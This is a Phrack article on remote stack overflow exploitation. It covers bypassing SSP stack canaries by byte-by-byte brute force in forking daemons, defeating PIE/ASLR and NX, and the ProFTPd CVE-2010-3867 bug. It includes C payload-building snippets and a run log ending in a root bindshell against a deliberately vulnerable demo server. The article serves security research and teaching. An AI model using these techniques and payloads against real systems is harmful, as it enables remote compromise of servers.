==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x0d of 0x10 |=-----------------------------------------------------------------------=| |=------=[ Scraps of notes on remote stack overflow exploitation ]=------=| |=-----------------------------------------------------------------------=| |=-------------=[ Adam 'pi3' Zabrocki - pi3 (at) itsec pl ]=-------------=| |=-----------------------------------------------------------------------=| ---[ Contents 1 - Introduction 2 - Anti Exploitation Techniques 3 - The stack cookies problem 3.1 - A story of cookie protection 3.2 - The canary security 3.3 - Exploiting canaries remotely 4 - A few words about the other protections 5 - Hacking the PoC 6 - Conclusion 7 - References 8 - Appendix - PoC 8.1 - The server (s.c) 8.2 - The exploit (moj.c) ---[ 1. Introduction Before the main topic of this article starts I would like to say, this paper describes a few little techniques based on small observations related to the POSIX standard. This observation open a small door for us to use a mix of well known exploitation techniques for bypassing modern security mechanisms / systems. Nowadays, finding a stack overflow error does not imply a successful attack on the system. Bah! Nowadays, it is much harder, nearly impossible to do a remote attack. This is because of the new security patches which strongly increase the difficulty of exploiting bugs. We have a really impressive number of different kind of patches that protect against attacks in different layers and use different ideas. Let's look at the most popular and typically used ones in modern *NIX systems. --[ 2. Anti Exploitation Techniques *) AAAS (ASCII Armored Address Space) AAAS is a very interesting idea. The idea is to load libraries (and more generally any ET_DYN object) in the 16 first megabytes of the address space. As a result, all code and data of these shared libraries are located at addresses beginning with a NULL byte. It naturally breaks the exploitation of the particular set of overflow bugs in which an improper use of the NULL byte character leads to the corruption (for example strcpy() functions and similar situations). Such a protection is intrinsically not effective against situations where the NULL byte is not an issue or when the return address used by the attacker does not contain a NULL byte (like the PLT on Linux/*BSD x86 systems). Such a protection is used on Fedora distributions. *) ESP (Executable Space Protection) The idea of this protection mechanism is very old and simple. Traditionally, overflows are exploited using shellcodes which means the execution of user supplied 'code' in a 'data' area. Such an unusual situation is easily mitigated by preventing data sections (stack, heap, .data, etc.) and more generally (if possible) all writable process memory from executing. This cannot however prevent the attacker from calling already loaded code such as libraries or program functions. This led to the classical return-into-libc family of attacks. Nowadays all PAE or 64 bits x86 linux kernel are supporting this by default. *) ASLR (Address Space Layout Randomization) The idea of ASLR is to randomize the loading address of several memory areas such as the program's stack and heap, or its libraries. As a result even if the attacker overwrites the metadata and is able to change the program flow, he doesn't know where the next instructions (shellcode, library functions) are. The idea is simple and effective. ASLR is enabled by default on linux kernel since linux 2.6.12. *) Stack canaries (canaries of the death) This is a compiler mechanism, in contrast to previously kernel-based described techniques. When a function is called, the code inserted by the compiler in its prologue stores a special value (the so-called cookie) on the stack before the metadata. This value is a kind of defender of sensitive data. During the epilogue the stack value is compared with the original one and if they are not the same then a memory corruption must have occurred. The program is then killed and this situation is reported in the system logs. Details about technical implementation and little arm race between protection and bypassing protection in this area will be explained further. --[ 3. The stack cookies problem --[ 3.1. A story of cookie protection There were / are many of its implementations. Some of them are better while others are worse. Definitely the best implementation is SSP (Stack Smashing Protector), also known as ProPolice which is our topic and has been included in gcc since version 4.x. How do those canaries work? At the time of creating the stack frame, the so-called canary is added. This is a random number. When a hacker triggers a stack overflow bug, before overwriting the metadata stored on the stack he has to overwrite the canary. When the epilogue is called (which removes the stack frame) the original canary value (stored in the TLS, referred by the gs segment selector on x86) is compared to the value on the stack. If these values are different SSP writes a message about the attack in the system logs and terminate the program. When a program is compiled with SSP, the stack is setup in this way: | ... | ------------------------------- | N - Argument for function | ------------------------------- | N-1 - Argument for function | ------------------------------- | ... | ------------------------------- | 2 - Argument for function | ------------------------------- | 1 - Argument for function | ------------------------------- | Return Address | ------------------------------- | Frame Pointer | ------------------------------- | xxx | ------------------------------- | Canary | ------------------------------- | Local Variables | ------------------------------- | ... | What is an 'xxx' value? So... It is very common that gcc adds some padding on the stack. In compilers of the 3.3.x and 3.4.x versions it is usually 20 bytes. It prevents exploiting off-by-one bugs. This article is not about this solution either, but we should be aware of that. The reordering issue -------------------- Bulba and Kil3r published a technique in their phrack article [1] on how to bypass this security protection, if the local variables are in this kind of configuration: --------------------------------------------------------------------------- int func(char *arg) { char *ptr; char buf[MAX]; ... memcpy(buf,arg,strlen(arg)); ... strcpy(ptr,arg); ... } --------------------------------------------------------------------------- In this situation we don't need to overwrite the canary value. We can simply overwrite the ptr pointer with the return address. Since it's used as the destination pointer of a memory copy then we can set what we want and where we want (which includes the return address) without touching the canary: | ... | ------------------------------- | arg - Argument for function | ------------------------------- ----> | Return Address | | ------------------------------- | | Frame Pointer | | ------------------------------- | | xxx | | ------------------------------- | | Canary | | ------------------------------- ---- | char *ptr | ------------------------------- | char buf[MAX-1] | ------------------------------- | char buf[MAX-2] | ------------------------------- | ... | ------------------------------- | char buf[0] | ------------------------------- | ... | In this kind of situation, if an attacker can directly (or not) modify a pointer, the canaries of the death may fail! In fact SSP is much more complicated and advanced than other implementations of the canaries of the death (e.g. StackGuard). Indeed SSP also uses some heuristic to order the local variables on the stack. For example, imagine the following function: --------------------------------------------------------------------------- int func(char *arg1, char *arg2) { int a; int *b; char c[10]; char d[3]; memcpy(c,arg1,strlen(arg1)); *b = 5; memcpy(d,arg2,strlen(arg2)); return *b; } --------------------------------------------------------------------------- In theory the stack should more or less look like that: (d[..]) (c[..]) (*b) (a) (...) (FP) (IP) But SSP changes the order of the local variables and the stack will instead look like this: (*b) (a) (d[..]) (c[..]) (...) (FP) (IP) Of course SSP always adds the canary. Now the stack looks really bad from the attacker's point of view: | ... | ------------------------------- |arg1 - Argument for function | ------------------------------- |arg2 - Argument for function | ------------------------------- | Return Address | ------------------------------- | Frame Pointer | ------------------------------- | xxx | ------------------------------- | Canary | ------------------------------- | char c[..] | ------------------------------- | char d[..] | ------------------------------- | int a | ------------------------------- | int *b | ------------------------------- | Copy of arg1 | ------------------------------- | Copy of arg2 | ------------------------------- | ... | SSP always tries to put all buffers close to the canary, while pointers as far from the buffers as it can. The arguments of the function are also copied in a special place on the stack so that the original arguments are never used. With such a reordering the chances to overwrite some pointers to modify the control flow seem low. It looks like an attacker doesn't have any other option than a mere bruteforce to exploit stack overflow bugs, does he? :) The limitations of SSP ---------------------- Even SSP is not perfect. There are some 'special' cases when SSP can't create a 'safe frame'. Here are some of the known situations: *) SSP does NOT protect each buffer separately. When data on the stack is reordered in a safe way we can still overwrite the buffer by another buffer. If there are many buffers, all of them will be put close to each other. We can imagine the situation when a buffer, which is before another buffer, can overwrite it. If there are data used by the application for the control flow in the overflown buffer, then a door is open and depending on the program it may be possible to exploit this control. *) If we have structures or classes, SSP will NOT reorder the arguments inside of this data area. *) If the function accepts a variable number of arguments (such as *printf()) then SSP will not know how many arguments to expect. In this situation the compiler will not be able to copy the arguments in a safe location. *) If the program uses the alloc() function or extends the standard C language on how to create a dynamic array (e.g. char tab[size+5]) SSP will place all this data on top of the frame. People interested in dynamic arrays should read andrewg's phrack paper on the subject [13]. *) In most cases, when the application "plays" with virtual functions in C++, it is hard to create a 'secure frame' - for detailed information please read reference [2]. **) Some distributions (like Ubuntu 10.04) have a canary which is masked by value 0x00FFFFFF. The NULL byte will be always there. **) StackGuard v2.0.1 always uses the static canary 0x000AFF0D. These bytes weren't chosen randomly. The 0x00 byte is for stopping the copy of strings arguments. The 0x0A byte is the 'new line' and it can stop reading bytes by function like *gets(). The byte 0xFF and 0x0D ('\r') can sometimes stop copying process too. If you check the value of terminator canary generated by SSP on non system-V you will discover it is almost the same. StackGuard add also the byte '\r' (0x0D) which SSP doesn't. ---[ 3.2 - The canary security Beginning from the gcc version 4.1 stage2 [6], [7] the Stack Smashing Protector is included by default. Gcc developers reimplemented IBM Pro Police Stack Detector. Let's look at its implementation under the loupe. We need to determine: *) If the canary is really random *) If the address of the canary can be leaked The runtime protection ----------------------- If we look inside a protected function we can find the following code added by SSP to the epilogue: --------------------------------------------------------------------------- 0x0804841c : mov -0x8(%ebp),%edx 0x0804841f : xor %gs:0x14,%edx 0x08048426 : je 0x804842d 0x08048428 : call 0x8048330 <__stack_chk_fail@plt> --------------------------------------------------------------------------- This code retrieves the local canary value from the stack and compares it with the original one stored in the TLS. If the values are not the same, the function __stack_chk_fail() takes control. The implementation of this function can be found in GNU C Library code in file "debug/stack_chk_fail.c" --------------------------------------------------------------------------- #include #include extern char **__libc_argv attribute_hidden; void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } --------------------------------------------------------------------------- What is important is that this function has the attribute "noreturn". That means (obviously) that it never returns. Let's look deeper and see how. The definition of the function __fortify_fail() can be found it in file "debug/fortify_fail.c" --------------------------------------------------------------------------- #include #include extern char **__libc_argv attribute_hidden; void __attribute__ ((noreturn)) __fortify_fail (msg) const char *msg; { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: ""); } libc_hidden_def (__fortify_fail) --------------------------------------------------------------------------- So __fortify_fail() is a wrapper around the function __libc_message() which in turn calls abort(). There is indeed no way to avoid it. The initialisation ------------------- Let's have a look at the code of the Run-Time Dynamic Linker in "etc/rtld.c". The canary initialisation is performed by the function security_init() which is called when the RTLD is loaded (the TLS was init by the init_tls() function before): --------------------------------------------------------------------------- static void security_init (void) { /* Set up the stack checker's canary. */ uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (); #ifdef THREAD_SET_STACK_GUARD THREAD_SET_STACK_GUARD (stack_chk_guard); #else __stack_chk_guard = stack_chk_guard; #endif [...] // pointer guard stuff } --------------------------------------------------------------------------- The canary value is created by the function _dl_setup_stack_chk_guard(). In original implementation published by IBM it was the function __guard_setup. Depending on the operating system, the function _dl_setup_stack_chk_guard() is either defined in file "sysdeps/unix/sysv/linux/dl-osinfo.h" or in file "sysdeps/generic/dl-osinfo.h" If we go to the UNIX System V definition of the function we will find: --------------------------------------------------------------------------- static inline uintptr_t __attribute__ ((always_inline)) _dl_setup_stack_chk_guard (void) { uintptr_t ret; #ifdef ENABLE_STACKGUARD_RANDOMIZE int fd = __open ("/dev/urandom", O_RDONLY); if (fd >= 0) { ssize_t reslen = __read (fd, &ret, sizeof (ret)); __close (fd); if (reslen == (ssize_t) sizeof (ret)) return ret; } #endif ret = 0; unsigned char *p = (unsigned char *) &ret; p[sizeof (ret) - 1] = 255; p[sizeof (ret) - 2] = '\n'; return ret; } --------------------------------------------------------------------------- If the macro ENABLE_STACKGUARD_RANDOMIZE is enabled, the function open the device "/dev/urandom", read sizeof(uintptr_t) bytes and return them. Otherwise of if this operation is not successful, a terminator canary is generated. First it put the value 0x00 in the variable ret. Next it changes two bytes to the value 0xFF and 0xa. Finally the terminator canary will always be 0x00000aff. Now if we go to the definition of function _dl_setup_stack_chk_guard() for other operating systems we see: --------------------------------------------------------------------------- #include static inline uintptr_t __attribute__ ((always_inline)) _dl_setup_stack_chk_guard (void) { uintptr_t ret = 0; unsigned char *p = (unsigned char *) &ret; p[sizeof (ret) - 1] = 255; p[sizeof (ret) - 2] = '\n'; p[0] = 0; return ret; } --------------------------------------------------------------------------- So this function always generates a terminator canary value. Conclusion ---------- Either the canary is fully random and unpredictable (assuming /dev/urandom is safe which is a fair assumption) or it's constant and weak (weaker than stackguard) but nontheless troublesome in some kind of situations. The storage of its value is dependant on the TLS which itself is not at fixed location (and the virtual address is never leaked in the code thanks to the segment selector trick) which means that it could hardly be leaked. ---[ 3.3 - Exploiting canaries remotely Usually networks daemons create a new thread by calling clone() or a new process by calling fork() to support a new connection. In the case of fork() and depending on the daemon, the child process may or may not call execve() which means that it will be in one the two situations: 1. without execve() [mother] --------> accept() | | | | <- new connection | | | fork() | | | | mother | | child -----------| | | read() | ... ... 2. with execve() [mother] --------> accept() | | | | <- new connection | | | fork() | | | | mother | | child -----------| | | execve() | | read() | ... ... Note 1: OpenSSH is a good example of the second example. Note 2: Of course there is also the possibility that the server is using select() instead of accept(). In such case, there is of course no fork(). As stated by the man page: *) the fork() system call creates a duplicate of the calling process which means that father and child share a same canary as this is a per-process-canary and not a per-function-canary mechanism. This is an interesting property as if for each attempt we were able to guess a little of the canary then with a finite number of guesses we would be successful. *) when execve() is called "text, data, bss, and stack of the calling process are overwritten by that of the program loaded." This implies that the canary is different for each child. As a result, being able to guess a little of the child canary is most likely useless as this will result in a crash and any result wouldn't be applicable to the next child. Considering 32-bits architecture, the number of possible canaries is up to 2^32 (2^24 on Ubuntu) which is around 4 billions (respectively 16 millions) which is impossible to test remotely while feasible locally in a few hours. What should one do? Ben Hawkes [9] suggested an interesting method: brute forcing with a byte-by-byte technique which is much more effective. When can we use it? As we have mentioned, the canary does not change while fork()'ing whereas with execve() it does. As a result guessing one byte after an other requires that the fork() is not followed by an execve() call. Here is the stack of the vulnerable function: | ..P.. | ..P.. | ..P.. | ..P.. | ..C.. | ..C.. | ..C.. | ..C.. | P - 1 byte of buffer C - 1 byte of canary First, we overwrite the first byte of canary and we check when the program ends with an error and when does not. It could be done in several ways. Hawkes proposed to estimate the program's answer time: whenever it misses the canary's byte, the program ends immediately. When the canary's byte matches, the program will still run, so its ending time is much longer than in the first case. We do not necessarily have to use that technique. It often happens that after calling the function, the server (daemon) sends us back some responses as the result of an operation. All we need to do is to check whether an expected data is received by the socket. If it is the expected one, it means we've got the correct canary's byte and we can move to the next one. Because 1 byte can have 256 different values at most, it becomes a relative calculus. Knowing the first byte's value, we have to guess 256 different possibilities for the following bytes which means that the whole cookie could be guessed in 4*256 = 1024 combinations which is reasonable. Here is the drawing of the four steps (each being a particular byte guess): First byte: | ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..C.. | ..C.. | ..C.. | Second byte: | ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..C.. | ..C.. | Third byte: | ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..C.. | Fourth byte: | ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..A.. | When the attack is finished, we know that the canary's value is XYZA. With this knowledge we are then able to continue the attack of the application. Overwriting data, we put the canary's value in the canary's location. Since the canary is overwritten by its original value, the memory corruption is not detected. The easiest and simplest way to find the canary's location is nothing else than testing. If we know that we can overwrite a 100 bytes buffer, we actually send a fake packet with 101 bytes length and we check the answer in the same way as we did while discussing theory of breaking the canary's value. If the program does NOT crash, it means that we have overwritten something else than the canary with high probability (we could also have overwritten the first byte of the canary with the correct value). Continuing to increase the amount of overwritten bytes, the program will finally stop running so we will know where the canary's value begins. Mitigation ---------- When will this technique not work? Every time we can't fully control the overwritten bytes. For example you may not be able to control the last character of your buffer or you may be have to deal with filtering (if NULL bytes are prohibited then it's over). A good example of such a situation is the latest pre-auth ProFTPd bug (CVE-2010-3867) discovered by TJ Saunders. The bug lies in the parsing of TELNET_IAC chars because of miscalculated end of reading loop. Let's look at this bug closer. The problem lies in the function pr_netio_telnet_gets() from the file "src/netio.c": --------------------------------------------------------------------------- char *pr_netio_telnet_gets(char *buf, size_t buflen, pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) { char *bp = buf; ... [L1] while (buflen) { ... toread = pr_netio_read(in_nstrm, pbuf->buf, (buflen < pbuf->buflen ? buflen : pbuf->buflen), 1); ... [L2] while (buflen && toread > 0 && *pbuf->current != '\n' && toread--) { ... if (handle_iac == TRUE) { switch (telnet_mode) { case TELNET_IAC: switch (cp) { ... ... default: ... *bp++ = TELNET_IAC; [L3] buflen--; telnet_mode = 0; break; } ... } } *bp++ = cp; [L4] buflen--; } ... ... *bp = '\0'; return buf; } } --------------------------------------------------------------------------- The loop [L2] reads and parses the bytes. Each time it decrements buflen [L4]. A problem exists when TELNET_IAC character comes (0xFF). When this character occurs in the parsing buflen is decremented [L3]. As a result in this situation, buflen is decremented by 2 which is perfect to bypass an inappropriate check in [L1]. Indeed, when buflen == 1 if the parsed character is TELNET_IAC then buflen = 1 - 2 = -1. As a result, the "while (buflen && " condition of [L1] holds and the copy continues (until an '\n' is found). The function pr_netio_telnet_gets() is called by function pr_cmd_read() from file "src/main.c": --------------------------------------------------------------------------- int pr_cmd_read(cmd_rec **res) { static long cmd_bufsz = -1; char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'}; ... while (TRUE) { ... if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm, session.c->outstrm) == NULL) { ... } ... ... return 0; } --------------------------------------------------------------------------- In this case the argument for the vulnerable function is a local buffer on the stack. So this is a classical stack buffer overflow bug. In theory all conditions are met to bypass pro-police canary using the byte-by-byte technique. But if we look closer to the vulnerable function we see this code: *bp = '\0'; ... which break the idea of using a byte-by-byte attack. Why? Because we can never control the last overflowed byte which is always 0x00, only the penultimate. Additionally, the 'byte-by-byte' method requires that all children have a same canary. This is not possible if the children are calling execve() as explained earlier. In such a situation, a bruteforce attack is quite unlikely to succeed. Of course we could try to guess 3 bytes each time if we had a lot of time... but it would means a one shot attack afterward since multiplying the complexity of both attempts would require too much time. Finally, grsecurity provides an interesting security feature to prevent this kind of exploitation. Considering the fact that the bruteforce will necessarily result in the crash of children, then a child dying with SIGILL (such as if PaX killed it for example) is highly suspicious. As a result, while in do_coredump() the kernel set a flag in the parent process using the gr_handle_brute_attach() function. The next forking attempt of the parent will then be delayed. Indeed in do_fork() the task is set in the TASK_UNINTERRUPTIBLE state and put to sleep for (at least) 30s. --------------------------------------------------------------------------- +void gr_handle_brute_attach(struct task_struct *p) +{ +#ifdef CONFIG_GRKERNSEC_BRUTE + read_lock(&tasklist_lock); + read_lock(&grsec_exec_file_lock); + if (p->p_pptr && p->p_pptr->exec_file == p->exec_file) + p->p_pptr->brute = 1; + read_unlock(&grsec_exec_file_lock); + read_unlock(&tasklist_lock); +#endif + return; +} + +void gr_handle_brute_check(void) +{ +#ifdef CONFIG_GRKERNSEC_BRUTE + if (current->brute) { + set_current_state(TASK_UNINTERRUPTIBLE); + schedule_timeout(30 * HZ); + } +#endif + return; +} --------------------------------------------------------------------------- While this mechanism has its limit (SIGILL is the only signal to trigger the delay), it proves itself effective to slow down an attacker. --[ 4 - A few words about the other protections When the daemon is forking without calling execve() we can bypass SSP because we can discover the "random" value of the canary, but we still have to deal with non-exec memory and ASLR. Executable Space Protection --------------------------- The 10th of August 1997 Solar Designer's post in bugtraq mailing list introduced the ret-into-libc attack which allows to bypass non-exec memory restriction [11]. The technique was later enhanced by nergal in his phrack paper [10] in which he introduced many new and now well known concepts still in use nowadays such as: *) Chaining. The consecutive call of several functions. [10] describes the necessary stack layout to perform such a thing on x86. The concept was later extended to other architectures and "gadgets" (ROP) were introduced. *) The use of mprotect() which was introduced as a counter measure against PaX and still effective on some systems (though not on PaX itself). *) dl-resolve() which allows to call functions of the shared library even when they don't have an entry in the PLT. Ok - so we know the technique that we should use to bypass non-executable memory but we still have a few problems. We don't know the address of the function that should be called (typically a system()-like) and the address of the argument(s) for this function. At that point as an attacker you may have three solutions: *) You can try to bruteforce. Obviously and as stated many times, you should only bruteforce the strict necessary which is usually an offset from which you can deduce the missing addresses. Interesting information though a bit outdated on how you could perform this are given in [12]. *) You find some way to perform an info leak. Depending on the situation this can be tricky (though not always) especially on modern systems where daemons are often compiled as PIE binaries. For example on recent Ubuntu, by default most daemons are PIE binaries. As a result, it's no more possible to use fixed address in the code/data segment of the program. *) You can exploit the memory layout to find some clever way to reduce the amount of parameters to guess. Depending on the context, a deep study of the program may be necessary. The important thing to remember is that there is no generic technique, a clever bug exploitation is highly dependant of the context induced by the program itself. This is especially true with modern memory protections. ASLR: Taking advantage of fork() -------------------------------- As explained earlier the address space of the child process is a copy of its parent. However this is no longer the case if the child performs an execve() as the process is then completely reloaded and the address space is then totally unpredictable because of the ASLR. From a mathematical point of view, guessing an address is a: - sampling without replacement (in fork() only situations) - sampling with replacement (in fork() followed by execve() situation) In the case of PIE network daemons, you have at least two distincts sources of entropy: *) the cookie: 24 bits or 32 bits on 32 bit OS *) the ASLR: 16 bits for mmap() randomization with PaX (in PAGEEXEC case) on 32 bit OS (Last claim is proved by the following patch extract) --------------------------------------------------------------------------- +#ifdef CONFIG_PAX_ASLR + if (current->mm->pax_flags & MF_PAX_RANDMMAP) { + current->mm->delta_mmap = (pax_get_random_long() & ((1UL << PAX_DELTA_MMAP_LEN)-1)) << PAGE_SHIFT; + current->mm->delta_stack = (pax_get_random_long() & ((1UL << PAX_DELTA_STACK_LEN)-1)) << PAGE_SHIFT; + } +#endif +#define PAX_DELTA_MMAP_LEN (current->mm->pax_flags & MF_PAX_SEGMEXEC ? 15 : 16) +#define PAX_DELTA_STACK_LEN (current->mm->pax_flags & MF_PAX_SEGMEXEC ? 15 : 16) --------------------------------------------------------------------------- Note: ET_DYN object randomization is performed using the delta_mmap offset. We will see in chapter 5 that we need to guess this parameter. Now the main idea is that without execve() the expected number of trials to perform the attack is the sum of the number of attempts required to guess the canary and the memory layout. With execve() it's their product. Example: Exploiting the proftpd bug on an Ubuntu 10.04 + PaX with: - no byte-by-byte - no execve() - cookie has a null byte - binary is compiled as PIE It should require an average of 2^24 + 2^16 attempts (if binary is PIE). From a complexity point of view, we could say that guessing both values is as hard as guessing the cookie. Note: Last minute update. It seems that proftpd is not compiled as PIE in common distributions/Unix (according to many exploits targets). ---[ 5. Hacking the PoC As a proof of these scribbles let's study and exploit an example of a vulnerable server (complete code is in appendix). A trivial stack overflow was emulated in the following function: --------------------------------------------------------------------------- int vuln_func(char *args, int fd, int ile) { char buf[100]; memset(buf, 0, sizeof buf); if ( (strncmp(args,"vuln",4)) == 0) { [L1] #ifdef __DEBUG stack_dump("BEFORE", buf); [L2] #endif write(fd,"Vuln running...\nCopying bytes...",32); memcpy(buf,args+5,ile-5); [L3] #ifdef __DEBUG stack_dump("AFTER", buf); [L4] #endif write(fd,"\nDONE\nReturn to the main loop\n",30); [L5] return 1; } else if ( (strncmp(args,"quit",4)) == 0) { write(fd,"Exiting...\n",11); return 0; } else { write(fd,"help:\n",6); write(fd," [*] vuln \n",17); write(fd," [*] help\n",10); write(fd," [*] quit\n",10); return 1; } } --------------------------------------------------------------------------- Let's analyze a bit this function: *) The bug is triggered when an attacker supplies a "vuln XXXXX" with a large enough "XXXXX" (> 100 bytes). [L1, L3] *) The attacker is fully able to control his payload without restrictions (no payload filtering, no overflow restriction) *) When the overflow takes place, we possibly overwrite some local variables which may induce a bug in [L5] and possibly crash the program. Note: Because of the fork(), debugging can be tedious. As a result I added a function to leak the stack layout in a file both before and after the overflow. The program was compiled with -fstack-protector-all and -fpie -pie which means that we will have to exploit the program with: *) Non exec + full ASLR (code and data segments are also randomized) *) Stack canary *) Ascii armored protection Depending on the Unix target, some of these protections may or may not be effective. However we will assume that they are all activated. Taking advantage of fork() -------------------------- The first process of the exploitation is obviously to guess the stack cookie. As said earlier, fork() will grant us children with the same address space. As a result we will be able to guess the cookie with the technique described in 3.3 which allows us to arbitrary overwrite anything (including of course the saved EIP). In a second time, we need to find an address in which returning. One of the best solution is to return into a function of the .text which would generate some network activity. However the server is a PIE binary thus an ET_DYN ELF object. As a result, the address of this function has to be guessed. Now assuming that we have the original binary (fair assumption), the offset of the function is known which means that we only need to bruteforce the load address of the ELF object. Since such an address is aligned on PAGE_SIZE basis, on a 32bits architecture the 12 less significant bits are all 0. For example consider the following code: 10be: e8 fc ff ff ff call 10bf 10c3: c7 44 24 08 44 00 00 movl $0x44,0x8(%esp) ^^----------------------- last byte value. not randomised at all ^------------------------- last half value. bottom nibble is not randomised Additionally if Ascii Armour protection is used, the most significant byte of the address will be 0x00 (something which does not happen under PaX). The conclusion is that the amount to bruteforce is so small that it can be done in a couple of seconds/minutes through the network. Studying the stack layout -------------------------- Thanks to our debugging function, it's easy to see the stack layout when the crash occurs. Here is the layout on an Ubuntu 10.04 before the overflow: bfa38648: 00000000 00000000 00000000 00000000 bfa38658: 00000000 00000000 00000000 00000000 bfa38668: 00000000 00000000 00000000 00000000 bfa38678: 00000000 00000000 00000000 00000000 bfa38688: 00000000 00000000 00000000 00000000 bfa38698: 00000000 00000000 00000000 00000000 bfa386a8: 00000000 8c261700 00000004 005cdff4 bfa386b8: bfa387f8 005cbec1 bfa386f4 00000004 bfa386c8: 0000005f 00000000 00258be0 00257ff4 bfa386d8: 00000000 0000005f 00000003 00000004 bfa386e8: 0000029a 00000010 00000000 6e6c7576 We can thus see that: *) The cookie (0x8c261700) is at 0xbfa386ac. *) The return address is 0x005cbec1 *) The argument of vuln_func() are (0xbfa386f4, 0x4 and 0x5f) There is a really nice way to take advantage of this situation. If we chose to return into the 'call vuln_func()' instruction then the arguments will be reused and the function replayed which will generate the needed network flow to detect the right value of the base address. Here is the C code building our payload: addr_callvuln = P_REL_CALLVULN + (base_addr << 12); *(buf_addr++) = canary; *(buf_addr++) = addr_callvuln; // <-- dummy *(buf_addr++) = addr_callvuln; // <-- dummy *(buf_addr++) = addr_callvuln; // <-- dummy *(buf_addr++) = addr_callvuln; // <-- ret-into-callvuln! Note: Overwriting the next 4 bytes (args) with addr_callvuln is also possible. Depending on the situation (whether you have the binary or not), it can be an option to help with the bruteforce. Returning-into-system --------------------- Now the idea is to get the shell. Since we know the load address, the only thing that needs to be done is to call a function which will give us a shell. Again this is very specific to the daemon that you need/want to exploit but in this case, I exploited the use of system(). Indeed in the code you can find: c8d: e8 d6 fb ff ff call 868 ^------------------------------- cool offset One may object that there is also the system parameter to find but "args" is on the stack and pointing to a user controlled buffer which means that we can do a return-into-callsystem(args). Note: In this case we were lucky (it was not done on purpose!) but the following situation could also have occurred: int vuln_func(int fd, char *args, int ile); In this case, the layout would be... [ .... ] [ old_ebp ] [ old_eip ] [ fd ] [ args ] [ ile ] [ .... ] This would make no difference as we could use a return-into-ret and overwrite fd with callsystem. An other solution would be to deduce the address of the system() entry in the PLT and to call it as its first argument would be "args" (classical return-into-func). Note: It may happen in real life situation that you have no stack address at disposal. Thus there are 2 solutions: *) You bruteforce this address. It's lame. But sometimes you have no other options (like when the overflow is limited which restricts your ability to performed chained return-into-*. *) You create a new stack frame somewhere in the .data section. Knowing the loading address of the ELF object, it's easy to locate the .data section. You would thus be able to create a whole fake stack frame using a chained return-into-read(fd, &newstack_in_data, len) and then finally switch the stack using a leave-ret sequence. Fun and 100% cool. It that all? Not quite. We need to be sure that we will be able to reach the 'ret' before crashing. Let's have a look at the epilogue of the function: objdump --no-show-raw-insn -Mintel -d ./s fb1: call 8f8 fb6: lea eax,[ebp-0x70] ; the overflow occurred fb9: mov DWORD PTR [esp+0x4],eax fbd: lea eax,[ebx-0x1bdf] fc3: mov DWORD PTR [esp],eax fc6: call 10ca fcb: mov DWORD PTR [esp+0x8],0x1e fd3: lea eax,[ebx-0x1bd8] fd9: mov DWORD PTR [esp+0x4],eax fdd: mov eax,DWORD PTR [ebp+0xc] ; we control the fd fe0: mov DWORD PTR [esp],eax fe3: call 878 fe8: mov eax,0x1 fed: jmp 10b0 [...] 10b0: mov edx,DWORD PTR [ebp-0xc] 10b3: xor edx,DWORD PTR gs:0x14 10ba: je 10c1 10bc: call 1280 <__stack_chk_fail_local> 10c1: add esp,0x94 10c7: pop ebx ; interesting 10c8: pop ebp 10c9: ret The deadlisting is quite straightforward. The only local variable that is trashed is the fd used by write(). Does it matter? No. In the worst case, the write() will return an EBADF error. What about the ebx register? Well as a matter of fact, it is important to restore its value since it's a PIE. Indeed ebx is used as a global address: 00000868 : 868: jmp DWORD PTR [ebx+0x20] ; ebx is pointing on the PLT ; (.got.plt) 86e: push 0x28 873: jmp 808 <_init+0x30> It's no big deal since the address of the .got.plt section is exactly: load_addr + the memory offset (cf. readelf -S). Here is the final stack frame: *(buf_addr++) = 0x00000004; *(buf_addr++) = (P_REL_GOT + (base_addr << 12)); // used by the GOT. *(buf_addr++) = 0x41414141; *(buf_addr++) = system_addr; // <-- Here is the buffer address When there is no system() ------------------------- The previous situation was a bit optimistic. Indeed when system() is not used in the program, there is obviously no "call system" instruction (and no corresponding PLT entry either). But it's no big deal a return-into-write-like() function is always possible as illustrated below: *(buf_addr++) = 0x00000004; *(buf_addr++) = (P_REL_GOT + (base_addr << 12)); *(buf_addr++) = 0x41414141; *(buf_addr++) = write_addr; // retun into call_write(fd, buf, count) *(buf_addr++) = 0x00000004; // fd *(buf_addr++) = some_addr; // buf *(buf_addr++) = 0x00000005; // count With such a primitive it's easy to info leak anything needed. This could allow you to perform a return-into-dl-resolve() as illustrated in [10]. The implementation of this technique with the PoC exploit is left as an exercise for the reader. Final algorithm --------------- So in the end the final algorithm is: 1) Looking for the distance needed to reach the canary of the death 2) Finding the value of this canary using a 'byte-by-byte' brute force method 3) Using the value of this canary to legitimate overflows, we should start finding the code segment by returning in a function leaking information. 4) Deducing everything needed using the load address 5) Build a new chained return-into-* attack and get the shell! And it should give you something like that: --------------------------------------------------------------------------- [root@pi3-test phrack]# gcc s.c -o s -fpie -pie -fstack-protector-all [root@pi3-test phrack]# ./s start Launched into background (pid: 32145) [root@pi3-test phrack]# ... ... child 32106 terminated sh: vuln: nie znaleziono polecenia [pi3@pi3-test phrack]$ gcc moj.c -o moj [pi3@pi3-test phrack]$ ./moj -v 127.0.0.1 ...::: -=[ Bypassing pro-police PoC for server by Adam 'pi3 (pi3ki31ny)' Zabrocki ]=- :::... [+] Trying to find the position of the canary... [+] Found the canary! => offset = 101 (+11) [+] Trying to find the canary... [+] Found byte! => 0x8e [+] Found byte! => 0x17 [+] Found byte! => 0xa4 [+] Found byte! => 0xd7 [+] Overwriting frame pointer (EBP?)... [+] Overwriting instruction pointer (EIP?)... [+] Starting bruteforce... [+] Success! :) (0x110eee0a) -> @call_write = 0x110eed6c -> @call_system = 0x110eeb9b [+] Trying ret-into-system... [+] Connecting to bindshell... pi3 was here :-) Executing shell... uid=0(root) gid=0(root) grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Linux pi3-test 2.6.32.13-grsec #1 SMP 